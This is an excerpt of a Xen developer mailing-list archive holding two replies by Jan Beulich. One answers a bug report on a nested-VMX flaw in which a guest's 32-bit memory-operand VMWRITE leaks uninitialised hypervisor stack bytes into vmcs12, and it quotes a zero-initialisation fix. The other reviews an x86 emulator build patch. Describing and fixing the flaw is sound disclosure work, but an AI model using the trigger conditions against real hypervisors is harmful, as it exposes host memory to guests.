Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Cc:Content-Language:References:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784184573; x=1784789373; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :cc:content-language:references:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=wNoHKWc5FbE/KNMPdiw7+XnjDpS+jyeiE4XrEclO62w=;
        b=bvGugXP1FcHwdM5bSupDfulG2/By2LERJZgEDS6H6CcEByZylO2L7BbuHNH4vJ5Rb3
         fc0FswDKqk7egoFTtR/sHe4mrdfC5fzaKYxy0wiy2uYWJTd4fdq7tG91uSabo6KorLT3
         EAhvZ/1Fi2vkqGpuEWOYg1gA40o9dblcImmHjIIg7qiJp6MN6GwfsJVAV7FQPM7Ax3+1
         WlAnztKya3iWWm9cdM5XQXu9E9SJwLvCgti1n7acQgVI8kssIvZFt1mqoYUCdfJD8Cm9
         swKLUg0SppOyvluY/ont9yxUnsyh6GlIfZRzYxpN+SpTzckbIKlRxZNyoG21E8S56fTv
         /1fA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784184573; x=1784789373;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :cc:content-language:references:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=wNoHKWc5FbE/KNMPdiw7+XnjDpS+jyeiE4XrEclO62w=;
        b=LnVXGDpCicH87OJhwf8yaYHyp8f4BfAY6CMD9+JgSxS0RfSNJEBItBISfFrimbhTyI
         qi+SF4UqdYUCA5VoS6lPtVXj2pgpIJNKq8ceZ7VY/LyTjYSbY/K2FpKSs40WnkVo+hsd
         EOcXbvRQcr2Y6st6YCG9fvFZtN2VpvKzyKS8M0d87WrIociv3U+Z2tFnpPMuD/90yUgp
         mkhkJzJdFRzRKSAk0sBNpWJV8ENNqyvkVpG83DfeviBEjZQPO5vb3xQX91HXojbhqay2
         RJ1JzqbWYS44fIKkmrkXj9Qs5BgEqY3NNHzzLb/lUQ4TqNnRmV4XGDRrbTXHMaxRbsmm
         NwaQ==
X-Gm-Message-State: AOJu0YyzppKamGi4kHygFbEZQQMnv4feoau5zwmAwsucIkmTrW0mUBTU
	gyrC8UCwWnCIYZtAESgvlCo8abJHJ0hAW+aKuHuHw+b5W2w+TGW67v0bqkiItZm1NeKwMX0g0FQ
	Q5ygpxQ==
X-Gm-Gg: AfdE7cnCpnsOt+yft2jOVFx3R2qGdM3R0Q3f9jQBxH3tmpDcdncn9g8cx0yx2V0JzhB
	MtPZeHU0uEiyy1XKPgZyfULmLrHUz1uXjj99uVMNs/uQgDDn9aWniPLqkCJEezZ2jnyyQnVkl+3
	+HOdEV9Qob3UQ1XbH+JRRadxdB5o2xzWWvfIRiNA+7w0fHP0RQnTMtxkscGOBTVIdDttRkpUNmJ
	Bze0bCY2MVp3Qk7Wxu/20/rWcvggXFwm0hVjrMh+en54ZW14k0sa8rsmy5d/SftLNNOpIbCMvEJ
	V+SuURkPWOhYKwhqT55lQR+O9owYCGkaJ1oYm6v3rlNvXdXqsZMqJnHaYBPA+FJ4U03Fkb2pr6K
	yOZ/5MkAzRrxd2XsX1gpnJnXcF0FYoooVYu8jQpQcpCqcrsZhM3dGvLR7HDbOoG0n5IAG8+ebEv
	J1UPgkKMNlIbTO/KJXqA8gylcy4vj9nKA5pu00LPXAWphhqzAXdnjlS0+AqbZw0T2auA==
X-Received: by 2002:a5d:5f47:0:b0:474:57f0:49f8 with SMTP id ffacd0b85a97d-47f4fca67b2mr6094203f8f.4.1784184573557;
        Wed, 15 Jul 2026 23:49:33 -0700 (PDT)
Message-ID: <af5dfcaa-8da8-4bd2-ac30-24bc65e65a6e@suse.com>
Date: Thu, 16 Jul 2026 08:49:32 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [BUG] uninitialised stack memory copied to vmcs12
To: =?UTF-8?Q?Johann_H=C3=B6pfner?= <hoepf@cit.tum.de>
References: <alfcosYs35pOCslN@cit.tum.de>
Content-Language: en-US
Cc: xen-devel@lists.xenproject.org
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBh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EQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <alfcosYs35pOCslN@cit.tum.de>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1784184574-004CFA5B-83BD1976/0/0
X-purgate-type: clean
X-purgate-size: 3545

On 16.07.2026 00:06, Johann HÃ¶pfner wrote:
> Hello xen-devel@
> 
> While fuzzing Xen instrumented by an experimental memory sanitizer, we
> discovered the following bug in nested VMX, where a malicious L1 guest
> with nestedhvm=1 can read four uninitialised bytes from the hypervisor
> vmexit handler stack. 
> 
> Specifically nvmx_handle_vmwrite leaves local eight byte variable
> 'operand' uninitialised. It is then written to by decode_vmx_inst. In
> cases where the operand to vmwrite is a r32, r64 or m64, this fully
> initializes *poperandS; if however a vmwrite with a 32 bit memory
> operand is emulated, hvm_copy_from_guest_linear leaves the upper half of
> *poperandS uninitialised. In the case where cpu_has_vmx_shadow_vmcs
> returns true, the resulting eight byte value is consequently written to
> the vmcs12 unchecked and leaks the four uninitialised bytes into guest
> physical memory via the vmcs12.
> 
> Attached is a reproducer for XTF which triggers the behavior described
> above at least on 4.20 and master versions of Xen running on intel
> x86_64 hosts. We would expect there to be the constant 0x99999999, which
> we have just vmwritten, somewhere in the unloaded vmcs12, likely zero
> extended to eight bytes. However it is stored instead alongside four
> bytes read from the hypervisor stack. Currently I am not aware of
> security implications for this bug, as I have not been able to leak more
> than what appear to be the rather uninteresting upper four bytes of a
> pointer.

As to security implications: nested-virt is still experimental, so there's
no formal concern there. In more general terms though, unless you're
certain there's no security aspect to an issue, please instead report more
privately to security@xenproject.org.

> The same issue exists in nvmx_handle_invept, though no malicious use is
> known to me. I suggest fixing both by simply initialising operand / eptp
> to 0 in nvmx_handle_vmwrite / nvmx_handle_invept. Patch is given
> immediately below, preceding the reproducer.

You may have noticed that you were able to repro (normally) only with a
hvm32 xtf test. That's because of a bug fixed by [1], which sadly still
didn't make it in. That same bug affects INVEPT and INVVPID. Imo ...

> --- a/xen/arch/x86/hvm/vmx/vvmx.c
> +++ b/xen/arch/x86/hvm/vmx/vvmx.c
> @@ -1968,7 +1968,7 @@ static int nvmx_handle_vmwrite(struct cpu_user_regs *regs)
>  {
>      struct vcpu *v = current;
>      struct vmx_inst_decoded decode;
> -    unsigned long operand; 
> +    unsigned long operand = 0;
>      u64 vmcs_encoding;
>      enum vmx_insn_errno err;
>      int rc;
> @@ -2012,7 +2012,7 @@ static int nvmx_handle_vmwrite(struct cpu_user_regs *regs)
>  static int nvmx_handle_invept(struct cpu_user_regs *regs)
>  {
>      struct vmx_inst_decoded decode;
> -    unsigned long eptp;
> +    unsigned long eptp = 0;
>      int ret;
>  
>      if ( (ret = decode_vmx_inst(regs, &decode, &eptp)) != X86EMUL_OKAY )

... the INVVPID case wants the same change to be made, even if the local
variable isn't used right now. Otoh the need for the INVEPT and INVVPID
changes goes away with [1] applied, as the size of their memory operand
really doesn't depend on operand or address size.

In any event - why don't you make your proposed change into a proper patch
(primary piece missing is your S-o-b, and perhaps we also would want a
suitable Fixes: tag)?

Jan

[1] https://lists.xen.org/archives/html/xen-devel/2025-06/msg01212.html


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 07:14:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 07:14:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363500.1615094 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkGId-0003BU-Mt; Thu, 16 Jul 2026 07:14:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363500.1615094; Thu, 16 Jul 2026 07:14:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkGId-0003BN-JA; Thu, 16 Jul 2026 07:14:27 +0000
Received: by outflank-mailman (input) for mailman id 1363500;
 Thu, 16 Jul 2026 07:14:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkGIc-0003BH-4p
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 07:14:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkGIb-00FdtV-Hw
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:14:25 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5884cb-e002-0a2a0a5209dd-0a2a4506b9f4-20
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:14:25 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5884d1-195a-0a2a45060019-d155802fa42d-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:14:25 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-493f6de72faso1799105e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 00:14:25 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49541e94e7asm38650395e9.12.2026.07.16.00.14.23
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 00:14:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784186065; x=1784790865; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ejvHhvCzxGyKF0db2MGBGqhIB1rnZViYfFavT4nZDUY=;
        b=PeoF9Ae8z/EFVkNx+Zi1uxCBPOR4KfV9SMqaxPNlevXPN+ZgJPEwwLUg9aHXwBVKt2
         Nb88AFZ0gttfa9niToqZWR3LP5D3fbX8Y4bT6g/yxN3uH4Klx9is+vJPVdIQhL8WNo5G
         usznIOZ3a2yaOur3Zy0twFyuqIfrIEG2O5QOuEcoc0yboAHI8COw+maOsLrA902yCqmy
         Npf9Cd4np8YeOoXv/MlmQivrS89964QSxUKuimEwKUZQBuMwGvbS9VWbFnhXf0PeBb4z
         9dX/WUaoJa8z/YrpH0L5HU6wAFEM/ntyiZGod1uvPzLbo+fLf93b4RNN4cuUwNqa2ta6
         PZJA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784186065; x=1784790865;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ejvHhvCzxGyKF0db2MGBGqhIB1rnZViYfFavT4nZDUY=;
        b=qSxPe5WV9I6DgXi8e96BMLhXivaQibp2ow4qsSbgHe63f7NyFmk8p57R2enrL3syDM
         EduyhAFpb/r/SY8liIWHqR8ALrb3Wxanol5+hWLmhZD9po4x7OMF19B637WPWzfoyzo4
         LGFntkwEMyHmU4ql6SxQtvqQ6SmWLkljOQ8JLGlOY08kCH1RD+Xr2rrtIt+aj+lNZOAl
         lCDsdcqTL0i/0QvLWw70mYFHqAC4TjF9RebBUyeTX0lIxE8mceV1JL1DXf2RUt4s2F7Z
         12+fYxdHEiYlCHJRzi4D6j3+B9kRQTbE0lmRVDxgBlw0qj3+r+bbOytvc2Tzv9eghyrh
         vuvw==
X-Forwarded-Encrypted: i=1; AHgh+RrJjglky32UemtG3QJFvrGFLlJ0oxg/I84KOzZno6cTeiv4iXMMDLjkPz1S85OssSdb1x7oHh32Iig=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw/NvxCqB0/pWnBhgS3WwOJRl2mYzN4BLGCjbI0r899Vxd4zTKz
	vGzbYAkrNrJFPEnP1tnq/eTWodYhSnxxhk+I8ZImi9kiOs+mB5fW15qwdmig+qv0XA==
X-Gm-Gg: AfdE7clpmiXc0KAyAkJp2cf9ZKpuGyS+KbnlaA/MkUkiKTM5TVBmCzaCWUaxGCASPqa
	W3R7uF6yV72ySktsDIoPkMowzy3twCP1gqbT78/KfP9cTJVyPPR5vxknPzMtEj+oEmvn8Lkz6ng
	OPG9kYOdkpBiQOV2Yt3NConStTKMSLjYzQSFo6dtW100IPbgkgCp7HVrYvmXSJdT6DP2YmvoOSF
	XENOOnRlukpCxgtSq9rTFb5g1FxqbIYbfKQPIOzx9vs4xhFkLp1BE4aDfHde4oATL47Q4C1u3j1
	k/hIoW+dM5rfnIJaF4BnkvGKp9+5gVhweG0kmuxR01gC5dtVu0gU8be3bLZMvqXHlsgsNrq0sSd
	AqyoG45ZaJS9AtDlsDTO+jIsHFrcmfSagDMWd5zNXGzubu+f41li8vu0nLSpTmAjZd6lC3fNRA0
	rdRaOToBVKPD1vI7VQlgqIKAINSRJMoiXMo0rqDyeGFZivUoO9SlacSwckud2ha0PfjQ==
X-Received: by 2002:a05:600c:8b78:b0:493:d117:18a8 with SMTP id 5b1f17b1804b1-4954288030fmr12526525e9.9.1784186064690;
        Thu, 16 Jul 2026 00:14:24 -0700 (PDT)
Message-ID: <dcd70818-9e03-43e8-b6a2-eefacfc0b894@suse.com>
Date: Thu, 16 Jul 2026 09:14:23 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1.1 1/2] x86emul: drop wrapper C file
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
 <e482f2b5-382c-4fbb-b030-5cdaba362599@suse.com>
 <1784119334.8631fc262581453bbf619ec5b2062170.19f65cc9781000edb5@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7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icpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1784119334.8631fc262581453bbf619ec5b2062170.19f65cc9781000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1784186065-F76C877B-E9160BBA/0/0
X-purgate-type: clean
X-purgate-size: 7262

On 15.07.2026 14:42, Teddy Astie wrote:
> Le 14/07/2026 Ã  16:00, Jan Beulich a Ã©critÂ :
>> Move the little bit that's still left in x86/x86_emulate.c into a __XEN__
>> conditional in x86/x86_emulate/x86_emulate.c. Move what are roughly the
>> test/fuzzing harness counterparts from there into the corresponding #else.
>>
>> Interestingly more recent gcc takes issue with three static const arrays
>> which are unused when HVM=n (noticeable in particule in the shim build).
>> Apparently such are diagnosed only when present in the top-level file, but
>> not when living in an #include-d one.
>>
>> Requested-by: Andrew Cooper <andrew.cooper3@citrix.com>
>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>> Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>
>> ---
>> v1.1: Address HVM=n build issues. See
>>        https://gitlab.com/xen-project/hardware/xen-staging/-/pipelines/2674985992.
>>
>> --- a/tools/tests/x86_emulator/x86-emulate.c
>> +++ b/tools/tests/x86_emulator/x86-emulate.c
>> @@ -3,27 +3,6 @@
>>   #include <errno.h>
>>   #include <sys/mman.h>
>>   
>> -/* See gcc bug 100680, but here don't bother making this version dependent. */
>> -#define gcc11_wrap(x) ({                  \
>> -    unsigned long x_;                     \
>> -    __asm__ ( "" : "=g" (x_) : "0" (x) ); \
>> -    (typeof(x))x_;                        \
>> -})
>> -
>> -#define cpu_has_amd_erratum(nr) 0
>> -#define cpu_has_mpx false
>> -#define read_bndcfgu() 0
>> -#define xstate_set_init(what)
>> -
>> -/* For generic assembly code: use macros to define operation/operand sizes. */
>> -#ifdef __i386__
>> -# define __OS          "l"  /* Operation Suffix */
>> -# define __OP          "e"  /* Operand Prefix */
>> -#else
>> -# define __OS          "q"  /* Operation Suffix */
>> -# define __OP          "r"  /* Operand Prefix */
>> -#endif
>> -
>>   uint32_t mxcsr_mask = 0x0000ffbf;
>>   struct cpu_policy cpu_policy;
>>   
>> --- a/xen/arch/x86/Makefile
>> +++ b/xen/arch/x86/Makefile
>> @@ -69,7 +69,6 @@ obj-y += traps-setup.o
>>   obj-y += traps.o
>>   obj-$(CONFIG_INTEL) += tsx.o
>>   obj-$(CONFIG_VM_EVENT) += vm_event.o
>> -obj-y += x86_emulate.o
>>   obj-y += xstate.o
>>   
>>   ifneq ($(CONFIG_PV_SHIM_EXCLUSIVE),y)
>> @@ -86,13 +85,6 @@ hostprogs-y += efi/mkreloc
>>   
>>   $(obj)/efi/mkreloc: HOSTCFLAGS += -I$(srctree)/include
>>   
>> -ifneq ($(CONFIG_HVM),y)
>> -$(obj)/x86_emulate.o: CFLAGS-y += -Wno-unused-label
>> -endif
>> -ifeq ($(CONFIG_CONDITION_COVERAGE)$(CONFIG_CC_IS_GCC),yy)
>> -$(obj)/x86_emulate.o: CFLAGS-y += -Wno-error=coverage-too-many-conditions
>> -endif
>> -
>>   efi-y := $(shell if [ ! -r $(objtree)/include/xen/compile.h -o \
>>                         -O $(objtree)/include/xen/compile.h ]; then \
>>                            echo '$(TARGET).efi'; fi) \
>> --- a/xen/arch/x86/x86_emulate.c
>> +++ /dev/null
>> @@ -1,37 +0,0 @@
>> -/******************************************************************************
>> - * x86_emulate.c
>> - *
>> - * Wrapper for generic x86 instruction decoder and emulator.
>> - *
>> - * Copyright (c) 2008, Citrix Systems, Inc.
>> - *
>> - * Authors:
>> - *    Keir Fraser <keir@xen.org>
>> - */
>> -
>> -#include <xen/event.h>
>> -
>> -#include <asm/x86_emulate.h>
>> -#include <asm/processor.h> /* current_cpu_info */
>> -#include <asm/xstate.h>
>> -#include <asm/amd.h> /* cpu_has_amd_erratum() */
>> -
>> -/* Avoid namespace pollution. */
>> -#undef cmpxchg
>> -#undef cpuid
>> -#undef wbinvd
>> -
>> -#define cpu_has_amd_erratum(nr) \
>> -        cpu_has_amd_erratum(&current_cpu_data, AMD_ERRATUM_##nr)
>> -
>> -#include "x86_emulate/x86_emulate.c"
>> -
>> -/*
>> - * Local variables:
>> - * mode: C
>> - * c-file-style: "BSD"
>> - * c-basic-offset: 4
>> - * tab-width: 4
>> - * indent-tabs-mode: nil
>> - * End:
>> - */
>> --- a/xen/arch/x86/x86_emulate/Makefile
>> +++ b/xen/arch/x86/x86_emulate/Makefile
>> @@ -1,3 +1,14 @@
>> +# Put this ahead of the sorted list below, as it takes long to build and hence
>> +# we'd like parallel make to schedule its building early.
>> +obj-y += x86_emulate.o
>> +
>> +ifneq ($(CONFIG_HVM),y)
>> +$(obj)/x86_emulate.o: CFLAGS-y += -Wno-unused-label
>> +endif
>> +ifeq ($(CONFIG_CONDITION_COVERAGE)$(CONFIG_CC_IS_GCC),yy)
>> +$(obj)/x86_emulate.o: CFLAGS-y += -Wno-error=coverage-too-many-conditions
>> +endif
>> +
>>   obj-y += 0f01.o
>>   obj-y += 0fae.o
>>   obj-y += 0fc7.o
>> --- a/xen/arch/x86/x86_emulate/x86_emulate.c
>> +++ b/xen/arch/x86/x86_emulate/x86_emulate.c
>> @@ -8,8 +8,52 @@
>>    * Copyright (c) 2005-2007 XenSource Inc.
>>    */
>>   
>> +#ifdef __XEN__
>> +
>> +# include <xen/event.h>
>> +
>> +# include <asm/amd.h> /* cpu_has_amd_erratum() */
>> +# include <asm/processor.h> /* current_cpu_info */
>> +# include <asm/x86_emulate.h>
>> +# include <asm/xstate.h>
>> +
>> +/* Avoid namespace pollution. */
>> +# undef cmpxchg
>> +# undef cpuid
>> +# undef wbinvd
>> +
>> +# define cpu_has_amd_erratum(nr) \
>> +         cpu_has_amd_erratum(&current_cpu_data, AMD_ERRATUM_##nr)
>> +
>> +#else /* !__XEN__ */
>> +
>> +/* See gcc bug 100680, but here don't bother making this version dependent. */
>> +# define gcc11_wrap(x) ({                  \
>> +     unsigned long x_;                     \
>> +     __asm__ ( "" : "=g" (x_) : "0" (x) ); \
>> +     (typeof(x))x_;                        \
>> +})
>> +
>> +# define cpu_has_amd_erratum(nr) 0
>> +# define cpu_has_mpx false
>> +# define read_bndcfgu() 0
>> +# define xstate_set_init(what)
>> +
>> +/* For generic assembly code: use macros to define operation/operand sizes. */
>> +# ifdef __i386__
>> +#  define __OS          "l"  /* Operation Suffix */
>> +#  define __OP          "e"  /* Operand Prefix */
>> +# else
>> +#  define __OS          "q"  /* Operation Suffix */
>> +#  define __OP          "r"  /* Operand Prefix */
>> +# endif
>> +
>> +#endif /* __XEN__ */
>> +
>>   #include "private.h"
>>   
>> +#ifndef X86EMUL_NO_MMX
>> +
>>   /*
>>    * The next two tables are indexed by high opcode extension byte (the one
>>    * that's encoded like an immediate) nibble, with each table element then
>> @@ -45,9 +89,15 @@ static const uint16_t _3dnow_ext_table[1
>>       [0xb] = (1 << 0xb) /* pswapd */,
>>   };
>>   
>> +#endif /* !X86EMUL_NO_MMX */
>> +
>> +#ifndef X86EMUL_NO_SIMD
>> +
>>   /* Shift values between src and dst sizes of pmov{s,z}x{b,w,d}{w,d,q}. */
>>   static const uint8_t pmov_convert_delta[] = { 1, 2, 3, 1, 2, 1 };
>>   
>> +#endif /* !X86EMUL_NO_SIMD */
>> +
>>   static const uint8_t sse_prefix[] = { 0x66, 0xf3, 0xf2 };
>>   
>>   #ifdef __x86_64__
>>
> 
> Reviewed-by: Teddy Astie <teddy.astie@vates.tech>

Thanks. May I ask, though, that you reduce reply context in such cases? Every
reader needs to scroll through the entire original mail just to find the single
line at the bottom. See how others do this, e.g.
https://lists.xen.org/archives/html/xen-devel/2026-07/msg00139.html
https://lists.xen.org/archives/html/xen-devel/2026-06/msg01595.html
https://lists.xen.org/archives/html/xen-devel/2026-06/msg01493.html

Thanks, Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 08:38:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 08:38:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363537.1615119 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHbF-0005JJ-4H; Thu, 16 Jul 2026 08:37:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363537.1615119; Thu, 16 Jul 2026 08:37:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHbF-0005JC-0z; Thu, 16 Jul 2026 08:37:45 +0000
Received: by outflank-mailman (input) for mailman id 1363537;
 Thu, 16 Jul 2026 08:37:43 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a12fab0000edb5@swg.vates.tech>)
 id 1wkHbD-0005J6-4T
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 08:37:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkHbC-005Y90-AG
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 10:37:42 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a12fab0000edb5@swg.vates.tech>)
 id 6a58984a-2eae-0a2a0a5409dd-0a2a45048d56-26
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 10:37:42 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a12fab0000edb5@swg.vates.tech>)
 id 6a589855-b57f-0a2a45040019-b9ff1c238441-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 10:37:42 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6a12fab0000edb5.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 08:37:36 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id AF0DE80B2D;
 Thu, 16 Jul 2026 10:37:35 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
